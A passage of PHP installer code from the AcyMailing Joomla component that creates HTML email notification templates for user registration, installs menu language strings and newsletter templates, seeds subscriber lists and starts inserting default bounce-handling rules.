		if('joomla' == 'joomla') $data = array_merge($data, $this->getJoomlaNotifications($conftemplate));

		if(!empty($data)){
			acymailing_query("INSERT INTO `#__acymailing_mail` (`subject`, `body`, `altbody`, `published`, `type`, `visible`, `alias`, `html`, `tempid`, `params`, `summary`) VALUES ".implode(',', $data));
		}
	}

	function getFormatedNotification($subject, $body){
		return '<div style="text-align: center; width: 100%; background-color:#ffffff;">
		<table align="center" border="0" cellpadding="0" cellspacing="0" class="w600" style="text-align: justify; margin: auto; width: 600px;">
			<tbody>
				<tr class="acyeditor_delete" style="line-height: 0px;" id="zone_2">
					<td class="w600" colspan="5" style="background-color: #69b4c0;" valign="bottom" width="600" id="zone_3"><img id="zone_29" alt=" - - - " border="0" src="'.ACYMAILING_MEDIA_URL.'templates/newsletter-4/images/top.png"></td>
				</tr>
				<tr class="acyeditor_delete" id="zone_4">
					<td class="w40" style="background-color: #ebebeb;" width="40" id="zone_5"></td>
					<td class="w520 acyeditor_text" colspan="3" height="80" style="text-align: left; background-color: #ebebeb;" width="520" id="zone_6"><strong>​</strong>​​​​​​​​<img alt="-" border="0" src="'.ACYMAILING_MEDIA_URL.'templates/newsletter-4/images/message_icon.png" style="float: left; margin-right: 10px;">
						<h3>'.$subject.'<span style="display: none;">&nbsp;</span></h3>
					</td>
					<td class="acyeditor_picture w40" style="background-color: #ebebeb;" width="40" id="zone_7"></td>
				</tr>
				<tr class="acyeditor_delete" id="zone_8">
					<td class="w40" style="background-color: #ebebeb;" width="40" id="zone_9"></td>
					<td class="w20" style="background-color: #fff;" width="20" id="zone_10"></td>
					<td class="w480" height="20" style="background-color: #fff;" width="480" id="zone_11"></td>
					<td class="w20" style="background-color: #fff;" width="20" id="zone_12"></td>
					<td class="w40" style="background-color: #ebebeb;" width="40" id="zone_13"></td>
				</tr>
				<tr class="acyeditor_delete" id="zone_14">
					<td class="w40" style="background-color: #ebebeb;" width="40" id="zone_15"></td>
					<td class="w20" style="background-color: #fff;" width="20" id="zone_16"></td>
					<td class="w480 pict acyeditor_text" style="background-color: #fff; text-align: left;" width="480" id="zone_17">'.$body.'</td>
					<td class="w20" style="background-color: #fff;" width="20" id="zone_18"></td>
					<td class="w40" style="background-color: #ebebeb;" width="40" id="zone_19"></td>
				</tr>
				<tr class="acyeditor_delete" id="zone_20">
					<td class="w40" style="background-color: #ebebeb;" width="40" id="zone_21"></td>
					<td class="w20" style="background-color: #fff;" width="20" id="zone_22"></td>
					<td class="w480" height="20" style="background-color: #fff;" width="480" id="zone_23"></td>
					<td class="w20" style="background-color: #fff;" width="20" id="zone_24"></td>
					<td class="w40" style="background-color: #ebebeb;" width="40" id="zone_25"></td>
				</tr>
				<tr class="acyeditor_delete" style="line-height: 0px;" id="zone_26">
					<td class="w600" colspan="5" style="background-color: #ebebeb;" width="600" id="zone_27"><img id="zone_31" alt=" - - - " border="0" src="'.ACYMAILING_MEDIA_URL.'templates/newsletter-4/images/bottom.png"></td>
				</tr>
			</tbody>
		</table>
		</div>';
	}

	function getJoomlaNotifications($conftemplate){
		$data = array();

		if(!acymailing_level(1)) return $data;

		$JNotifications = acymailing_loadResultArray('SELECT LCASE(`alias`) FROM `#__acymailing_mail` WHERE `type` = \'joomlanotification\'');

		if(ACYMAILING_J30){
			if(!in_array(strtolower('joomla-directRegNoPwd-j3'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_USERS_EMAIL_ACCOUNT_DETAILS|param1|param2}', '{trans:COM_USERS_EMAIL_REGISTERED_BODY_NOPW|param1|param2|param3}');
				$data[] = "('{trans:COM_USERS_EMAIL_ACCOUNT_DETAILS|param1|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-directRegNoPwd-j3', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('joomla-directReg-j3'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_USERS_EMAIL_ACCOUNT_DETAILS|param1|param2}', '{trans:COM_USERS_EMAIL_REGISTERED_BODY|param1|param2|param3|param4|param5}');
				$data[] = "('{trans:COM_USERS_EMAIL_ACCOUNT_DETAILS|param1|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-directReg-j3', 1, ".$conftemplate.",NULL,'')";
			}
		}elseif(ACYMAILING_J16){
			if(!in_array(strtolower('joomla-directReg'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_USERS_EMAIL_ACCOUNT_DETAILS|param1|param2}', '{trans:COM_USERS_EMAIL_REGISTERED_BODY|param1|param2|param3}');
				$data[] = "('{trans:COM_USERS_EMAIL_ACCOUNT_DETAILS|param1|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-directReg', 1, ".$conftemplate.",NULL,'')";
			}
		}
		if(ACYMAILING_J16){
			if(!in_array(strtolower('joomla-ownActivReg'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_USERS_EMAIL_ACCOUNT_DETAILS|param1|param2}', '{trans:COM_USERS_EMAIL_REGISTERED_WITH_ACTIVATION_BODY|param1|param2|param3|param4|param5|param6}');
				$data[] = "('{trans:COM_USERS_EMAIL_ACCOUNT_DETAILS|param1|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-ownActivReg', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('joomla-ownActivRegNoPwd'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_USERS_EMAIL_ACCOUNT_DETAILS|param1|param2}', '{trans:COM_USERS_EMAIL_REGISTERED_WITH_ACTIVATION_BODY_NOPW|param1|param2|param3|param4|param5}');
				$data[] = "('{trans:COM_USERS_EMAIL_ACCOUNT_DETAILS|param1|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-ownActivRegNoPwd', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('joomla-adminActivReg'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_USERS_EMAIL_ACCOUNT_DETAILS|param1|param2}', '{trans:COM_USERS_EMAIL_REGISTERED_WITH_ADMIN_ACTIVATION_BODY|param1|param2|param3|param4|param5|param6}');
				$data[] = "('{trans:COM_USERS_EMAIL_ACCOUNT_DETAILS|param1|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-adminActivReg', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('joomla-adminActivRegNoPwd'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_USERS_EMAIL_ACCOUNT_DETAILS|param1|param2}', '{trans:COM_USERS_EMAIL_REGISTERED_WITH_ADMIN_ACTIVATION_BODY_NOPW|param1|param2|param3|param4|param5}');
				$data[] = "('{trans:COM_USERS_EMAIL_ACCOUNT_DETAILS|param1|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-adminActivRegNoPwd', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('joomla-usernameReminder'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_USERS_EMAIL_USERNAME_REMINDER_SUBJECT|param1}', '{trans:COM_USERS_EMAIL_USERNAME_REMINDER_BODY|param1|param2|param3}');
				$data[] = "('{trans:COM_USERS_EMAIL_USERNAME_REMINDER_SUBJECT|param1}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-usernameReminder', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('joomla-confirmActiv'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_USERS_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_SUBJECT|param1|param2}', '{trans:COM_USERS_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_BODY|param1|param2|param3}');
				$data[] = "('{trans:COM_USERS_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_SUBJECT|param1|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-confirmActiv', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('joomla-resetPwd'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_USERS_EMAIL_PASSWORD_RESET_SUBJECT|param1}', '{trans:COM_USERS_EMAIL_PASSWORD_RESET_BODY|param1|param2|param3}');
				$data[] = "('{trans:COM_USERS_EMAIL_PASSWORD_RESET_SUBJECT|param1}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-resetPwd', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('joomla-regByAdmin'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:PLG_USER_JOOMLA_NEW_USER_EMAIL_SUBJECT}', '{trans:PLG_USER_JOOMLA_NEW_USER_EMAIL_BODY|param1|param2|param3|param4|param5}');
				$data[] = "('{trans:PLG_USER_JOOMLA_NEW_USER_EMAIL_SUBJECT}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-regByAdmin', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('joomla-regNotifAdmin'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_USERS_EMAIL_ACCOUNT_DETAILS|param1|param2}', '{trans:COM_USERS_EMAIL_REGISTERED_NOTIFICATION_TO_ADMIN_BODY|param1|param2|param3}');
				$data[] = "('{trans:COM_USERS_EMAIL_ACCOUNT_DETAILS|param1|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-regNotifAdmin', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('joomla-regNotifAdminActiv'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_USERS_EMAIL_ACTIVATE_WITH_ADMIN_ACTIVATION_SUBJECT|param2|param1}', '{trans:COM_USERS_EMAIL_ACTIVATE_WITH_ADMIN_ACTIVATION_BODY|param1|param2|param3|param4|param5}');
				$data[] = "('{trans:COM_USERS_EMAIL_ACTIVATE_WITH_ADMIN_ACTIVATION_SUBJECT|param2|param1}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-regNotifAdminActiv', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('joomla-frontsendarticle'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{senderSubject}', '{trans:COM_MAILTO_EMAIL_MSG|param1|param2|param3|param4}');
				$data[] = "('{senderSubject}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-frontsendarticle', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('jomsocial-directreg'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_COMMUNITY_ACCOUNT_DETAILS_FOR_WELCOME|param2}', '{trans:COM_COMMUNITY_EMAIL_REGISTRATION_ACCOUNT_DETAILS|param1|param2|param3|param4}');
				$data[] = "('{trans:COM_COMMUNITY_ACCOUNT_DETAILS_FOR_WELCOME|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'jomsocial-directreg', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('jomsocial-ownactivreg'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_COMMUNITY_ACCOUNT_DETAILS_FOR|param1|param2}', '{trans:COM_COMMUNITY_EMAIL_REGISTRATION_COMPLETED_REQUIRES_ACTIVATION|param1|param2|param3|param5}');
				$data[] = "('{trans:COM_COMMUNITY_ACCOUNT_DETAILS_FOR|param1|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'jomsocial-ownactivreg', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('jomsocial-welcomeactiv'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_COMMUNITY_ACCOUNT_DETAILS_FOR_WELCOME|param2}', '{trans:COM_COMMUNITY_EMAIL_REGISTRATION_ACCOUNT_DETAILS_REQUIRES_ACTIVATION|param1|param2|param3|param4}');
				$data[] = "('{trans:COM_COMMUNITY_ACCOUNT_DETAILS_FOR_WELCOME|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'jomsocial-welcomeactiv', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('jomsocial-regactivadmin'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_COMMUNITY_ACCOUNT_DETAILS_FOR|param1|param2}', '{trans:COM_COMMUNITY_EMAIL_REGISTRATION_COMPLETED_REQUIRES_ADMIN_ACTIVATION|param1|param2|param3|param5}');
				$data[] = "('{trans:COM_COMMUNITY_ACCOUNT_DETAILS_FOR|param1|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'jomsocial-regactivadmin', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('jomsocial-notifadmin'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_COMMUNITY_ACCOUNT_DETAILS_FOR|param3|param2}', '{trans:COM_COMMUNITY_SEND_MSG_ADMIN|param1|param2|param3|param4|param5}');
				$data[] = "('{trans:COM_COMMUNITY_ACCOUNT_DETAILS_FOR|param3|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'jomsocial-notifadmin', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('jomsocial-notifadminactiv'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_COMMUNITY_ACCOUNT_DETAILS_FOR|param3|param2}', '{trans:COM_COMMUNITY_USER_REGISTERED_NEEDS_APPROVAL|param1|param2|param3|param4|param5}');
				$data[] = "('{trans:COM_COMMUNITY_ACCOUNT_DETAILS_FOR|param3|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'jomsocial-notifadminactiv', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('jomsocial-notifactivated'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_COMMUNITY_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_SUBJECT|param1|param2}', '{trans:COM_COMMUNITY_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_BODY|param1|param2|param3}');
				$data[] = "('{trans:COM_COMMUNITY_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_SUBJECT|param1|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'jomsocial-notifactivated', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('jomsocial-notifaccountparameters'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_COMMUNITY_USER_REGISTERED_WAITING_APPROVAL_TITLE|param2}', '{trans:COM_COMMUNITY_EMAIL_REGISTRATION|param1|param2|param3|param4}');
				$data[] = "('{trans:COM_COMMUNITY_USER_REGISTERED_WAITING_APPROVAL_TITLE|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'jomsocial-notifaccountparameters', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('seblod-directreg'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_CCK_EMAIL_ACCOUNT_DETAILS|param1|param2}', '{trans:COM_CCK_EMAIL_REGISTERED_BODY|param1|param2|param3|param4|param5}');
				$data[] = "('{trans:COM_CCK_EMAIL_ACCOUNT_DETAILS|param1|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'seblod-directreg', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('seblod-directregnopwd'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_CCK_EMAIL_ACCOUNT_DETAILS|param1|param2}', '{trans:COM_CCK_EMAIL_REGISTERED_BODY_NOPW|param1|param2|param3}');
				$data[] = "('{trans:COM_CCK_EMAIL_ACCOUNT_DETAILS|param1|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'seblod-directregnopwd', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('seblod-notifadmin'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:ACY_DEFAULT_NOTIF_SUBJECT}', '{trans:COM_CCK_EMAIL_REGISTERED_NOTIFICATION_TO_ADMIN_BODY|param1|param2|param3}');
				$data[] = "('{trans:ACY_DEFAULT_NOTIF_SUBJECT}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'seblod-notifadmin', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('seblod-ownactivreg'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_CCK_EMAIL_ACCOUNT_DETAILS|param1|param2}', '{trans:COM_CCK_EMAIL_REGISTERED_WITH_ACTIVATION_BODY|param1|param2|param3|param4|param5|param6}');
				$data[] = "('{trans:COM_CCK_EMAIL_ACCOUNT_DETAILS|param1|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'seblod-ownactivreg', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('seblod-ownactivregnopwd'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_CCK_EMAIL_ACCOUNT_DETAILS|param1|param2}', '{trans:COM_CCK_EMAIL_REGISTERED_WITH_ACTIVATION_BODY_NOPW|param1|param2|param3|param4|param5}');
				$data[] = "('{trans:COM_CCK_EMAIL_ACCOUNT_DETAILS|param1|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'seblod-ownactivregnopwd', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('seblod-adminactivreg'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_CCK_EMAIL_ACCOUNT_DETAILS|param1|param2}', '{trans:COM_CCK_EMAIL_REGISTERED_WITH_ADMIN_ACTIVATION_BODY|param1|param2|param3|param4|param5|param6}');
				$data[] = "('{trans:COM_CCK_EMAIL_ACCOUNT_DETAILS|param1|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'seblod-adminactivreg', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('seblod-adminactivregnopwd'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:COM_CCK_EMAIL_ACCOUNT_DETAILS|param1|param2}', '{trans:COM_CCK_EMAIL_REGISTERED_WITH_ADMIN_ACTIVATION_BODY_NOPW|param1|param2|param3|param4|param5}');
				$data[] = "('{trans:COM_CCK_EMAIL_ACCOUNT_DETAILS|param1|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'seblod-adminactivregnopwd', 1, ".$conftemplate.",NULL,'')";
			}
		}else{
			if(!in_array(strtolower('joomla-directReg'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:ACCOUNT DETAILS FOR|param1|param2}', '{trans:SEND_MSG|param1|param2|param3}');
				$data[] = "('{trans:ACCOUNT DETAILS FOR|param1|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-directReg', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('joomla-ownActivReg'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:ACCOUNT DETAILS FOR|param1|param2}', '{trans:SEND_MSG_ACTIVATE|param1|param2|param3|param4|param5|param6}');
				$data[] = "('{trans:ACCOUNT DETAILS FOR|param1|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-ownActivReg', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('joomla-usernameReminder'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:USERNAME_REMINDER_EMAIL_TITLE|param1}', '{trans:USERNAME_REMINDER_EMAIL_TEXT|param1|param2|param3}');
				$data[] = "('{trans:USERNAME_REMINDER_EMAIL_TITLE|param1}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-usernameReminder', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('joomla-resetPwd'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:PASSWORD_RESET_CONFIRMATION_EMAIL_TITLE|param1}', '{trans:PASSWORD_RESET_CONFIRMATION_EMAIL_TEXT|param1|param2|param3}');
				$data[] = "('{trans:PASSWORD_RESET_CONFIRMATION_EMAIL_TITLE|param1}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-resetPwd', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('joomla-regByAdmin'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:NEW_USER_MESSAGE_SUBJECT}', '{trans:NEW_USER_MESSAGE|param1|param2|param3|param4|param5}');
				$data[] = "('{trans:NEW_USER_MESSAGE_SUBJECT}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-regByAdmin', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('joomla-regNotifAdmin'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{trans:ACCOUNT DETAILS FOR|param3|param2}', '{trans:SEND_MSG_ADMIN|param1|param2|param3|param4|param5}');
				$data[] = "('{trans:ACCOUNT DETAILS FOR|param3|param2}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-regNotifAdmin', 1, ".$conftemplate.",NULL,'')";
			}
			if(!in_array(strtolower('joomla-frontsendarticle'), $JNotifications)){
				$bodyNotif = $this->getFormatedNotification('{senderSubject}', '{trans:EMAIL_MSG|param1|param2|param3|param4}');
				$data[] = "('{senderSubject}', ".acymailing_escapeDB($bodyNotif).", '', 0, 'joomlanotification', 0, 'joomla-frontsendarticle', 1, ".$conftemplate.",NULL,'')";
			}
		}
		return $data;
	}

	function installMenu($code = ''){
		if(empty($code)) $code = acymailing_getLanguageTag();

		$path = acymailing_getLanguagePath(ACYMAILING_ROOT, $code).DS.$code.'.com_acymailing.ini';
		if(!file_exists($path) || strpos($path, $code.DS.$code) === false) return;
		$content = file_get_contents($path);
		if(empty($content)) return;

		$menuFileContent = 'COM_ACYMAILING="AcyMailing"'."\r\n";
		$menuFileContent .= 'ACYMAILING="AcyMailing"'."\r\n";
		$menuFileContent .= 'COM_ACYMAILING_CONFIGURATION="AcyMailing"'."\r\n";
		$menuStrings = array('USERS', 'LISTS', 'TEMPLATES', 'NEWSLETTERS', 'AUTONEWSLETTERS', 'CAMPAIGN', 'QUEUE', 'STATISTICS', 'CONFIGURATION', 'UPDATE_ABOUT', 'COM_ACYMAILING_ARCHIVE_VIEW_DEFAULT_TITLE', 'COM_ACYMAILING_FRONTSUBSCRIBER_VIEW_DEFAULT_TITLE', 'COM_ACYMAILING_LISTS_VIEW_DEFAULT_TITLE', 'COM_ACYMAILING_FRONTNEWSLETTER_VIEW_DEFAULT_TITLE', 'COM_ACYMAILING_USER_VIEW_DEFAULT_TITLE');
		foreach($menuStrings as $oneString){
			preg_match('#(\n|\r)(ACY_)?'.$oneString.'="(.*)"#i', $content, $matches);
			if(empty($matches[3])) continue;
			if(!ACYMAILING_J16){
				$menuFileContent .= 'COM_ACYMAILING.'.$oneString.'="'.$matches[3].'"'."\r\n";
			}else{
				$menuFileContent .= $oneString.'="'.$matches[3].'"'."\r\n";
			}
		}

		if(!ACYMAILING_J16){
			$menuPath = ACYMAILING_ROOT.'administrator'.DS.'language'.DS.$code.DS.$code.'.com_acymailing.menu.ini';
		}else{
			$menuPath = ACYMAILING_ROOT.'administrator'.DS.'language'.DS.$code.DS.$code.'.com_acymailing.sys.ini';
		}
		if(!acymailing_writeFile($menuPath, $menuFileContent)){
			acymailing_enqueueMessage(acymailing_translation_sprintf('FAIL_SAVE', $menuPath), 'error');
		}
	}

	function installTemplates(){
		$path = ACYMAILING_TEMPLATE;
		$dirs = acymailing_getFolders($path);

		$template = array();
		$order = 0;
		foreach($dirs as $oneTemplateDir){
			$order++;
			$description = '';
			$name = '';
			$body = '';
			$altbody = '';
			$readmore = '';
			$thumb = '';
			$premium = 0;
			$ordering = $order;
			$styles = array();
			$stylesheet = '';
			if(!@include($path.DS.$oneTemplateDir.DS.'install.php')) continue;
			$body = str_replace(array('src="./', 'src="../', 'src="images/'), array('src="'.ACYMAILING_MEDIA_URL.'templates/'.$oneTemplateDir.'/', 'src="'.ACYMAILING_MEDIA_URL.'templates/', 'src="'.ACYMAILING_MEDIA_URL.'templates/'.$oneTemplateDir.'/images/'), $body);

			$template[] = acymailing_escapeDB($oneTemplateDir).','.acymailing_escapeDB($name).','.acymailing_escapeDB($description).','.acymailing_escapeDB($body).','.acymailing_escapeDB($altbody).','.acymailing_escapeDB($premium).','.acymailing_escapeDB($ordering).','.acymailing_escapeDB(serialize($styles)).','.acymailing_escapeDB($stylesheet).','.acymailing_escapeDB($thumb).','.acymailing_escapeDB($readmore);
		}

		if(empty($template)) return true;

		try{
			$nbTemplates = acymailing_query("INSERT IGNORE INTO `#__acymailing_template` (`namekey`, `name`, `description`, `body`, `altbody`, `premium`, `ordering`, `styles`,`stylesheet`,`thumb`,`readmore`) VALUES (".implode('),(', $template).')');

			$lastId = acymailing_insertID();
		}catch(Exception $e){
			acymailing_enqueueMessage(substr(strip_tags($e->getMessage()), 0, 300).'...', 'error');
			$nbTemplates = null;
		}

		if(!empty($nbTemplates)){
			acymailing_enqueueMessage(acymailing_translation_sprintf('TEMPLATES_INSTALL', $nbTemplates), 'success');

			$templateClass = acymailing_get('class.template');
			for($i = $lastId; $i <= $lastId + count($template); $i++){
				$templateClass->createTemplateFile($i);
			}
		}
	}

	function initList(){

		$query = 'UPDATE IGNORE '.acymailing_table($this->cmsUserVars->table, false).' as b, '.acymailing_table('subscriber').' as a SET a.email = b.'.$this->cmsUserVars->email.', a.name = b.'.$this->cmsUserVars->name.' WHERE a.userid = b.'.$this->cmsUserVars->id.' AND a.userid > 0';
		acymailing_query($query);

		$query = 'INSERT IGNORE INTO `#__acymailing_subscriber` (`email`,`name`,`confirmed`,`userid`,`created`,`enabled`,`accept`,`html`) SELECT `'.$this->cmsUserVars->email.'`,`'.$this->cmsUserVars->name.'`,1-`'.$this->cmsUserVars->blocked.'`,`'.$this->cmsUserVars->id.'`,UNIX_TIMESTAMP(`'.$this->cmsUserVars->registered.'`),1-`'.$this->cmsUserVars->blocked.'`,1,1 FROM '.acymailing_table($this->cmsUserVars->table, false);
		acymailing_query($query);

		$nbLists = acymailing_loadResult('SELECT COUNT(*) FROM `#__acymailing_list`');

		if(!empty($nbLists)) return true;

		acymailing_query("INSERT INTO `#__acymailing_list` (`name`, `description`, `ordering`, `published`, `alias`, `color`, `visible`, `type`,`userid`) VALUES ('Newsletters','Receive our latest news','1','1','mailing_list','#3366ff','1','list',".(int)acymailing_currentUserId().")");
		$listid = acymailing_insertID();


		$time = time();
		acymailing_query('INSERT IGNORE INTO `#__acymailing_listsub` (`listid`, `subid`, `subdate`, `status`) SELECT '.$listid.', subid, '.$time.',1 FROM `#__acymailing_subscriber`');
	}


	function installBounceRules(){
		if(!acymailing_level(3)) return;

		if(acymailing_loadResult('SELECT COUNT(*) FROM #__acymailing_rules') > 0) return;


		$config = acymailing_config();
		if($config->get('reply_email') != $config->get('bounce_email')){
			$forwardEmail = strlen($config->get('reply_email')).':"'.$config->get('reply_email').'"';
		}else $forwardEmail = strlen($config->get('from_email')).':"'.$config->get('from_email').'"';

		$query = 'INSERT INTO `#__acymailing_rules` (`name`, `ordering`, `regex`, `executed_on`, `action_message`, `action_user`, `published`) VALUES ';
		$query .= '(\'ACY_RULE_ACTION\', 1, \'action *requ|verif\', \'a:1:{s:7:"subject";s:1:"1";}\', \'a:2:{s:6:"delete";s:1:"1";s:9:"forwardto";s:'.$forwardEmail.';}\', \'a:1:{s:3:"min";s:1:"0";}\', 1),';
		$query .= '(\'ACY_RULE_ACKNOWLEDGE\', 2, \'(out|away) *(of|from)|vacation|holiday|absen|congés|recept|acknowledg|thank you for\', \'a:1:{s:7:"subject";s:1:"1";}\', \'a:1:{s:6:"delete";s:1:"1";}\', \'a:1:{s:3:"min";s:1:"0";}\', 1),';
		$query .= '(\'ACY_RULE_LOOP\', 3, \'feedback|staff@hotmail.com|complaints@.{0,15}email-abuse.amazonses.com|complaint about message\', \'a:2:{s:10:"senderinfo";s:1:"1";s:7:"subject";s:1:"1";}\', \'a:3:{s:4:"save";s:1:"1";s:6:"delete";s:1:"1";s:9:"forwardto";s:0:"";}\', \'a:2:{s:3:"min";s:1:"0";s:5:"unsub";s:1:"1";}\', 1),';
		$query .= '(\'ACY_RULE_LOOP_BODY\', 4, \'Feedback-Type.{1,5}abuse\', \'a:1:{s:4:"body";s:1:"1";}\', \'a:3:{s:4:"save";s:1:"1";s:6:"delete";s:1:"1";s:9:"forwardto";s:0:"";}\', \'a:2:{s:3:"min";s:1:"0";s:5:"unsub";s:1:"1";}\', 1),';
